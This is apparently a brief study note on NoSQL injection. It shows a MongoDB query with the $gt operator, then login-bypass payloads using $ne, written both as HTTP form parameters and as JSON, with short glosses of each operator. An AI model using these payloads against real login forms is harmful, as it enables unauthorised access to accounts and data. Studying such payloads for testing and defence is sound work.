NoSQL Injection

db.courses.find({ "rating": { "$gt": 0 } })

$gt = greater than

HTTP Data

username[$ne]=abc&password[$ne]=abc

JSON Data

{"username": {"$ne": null}, "password": {"$ne": null}}

$ne = not equal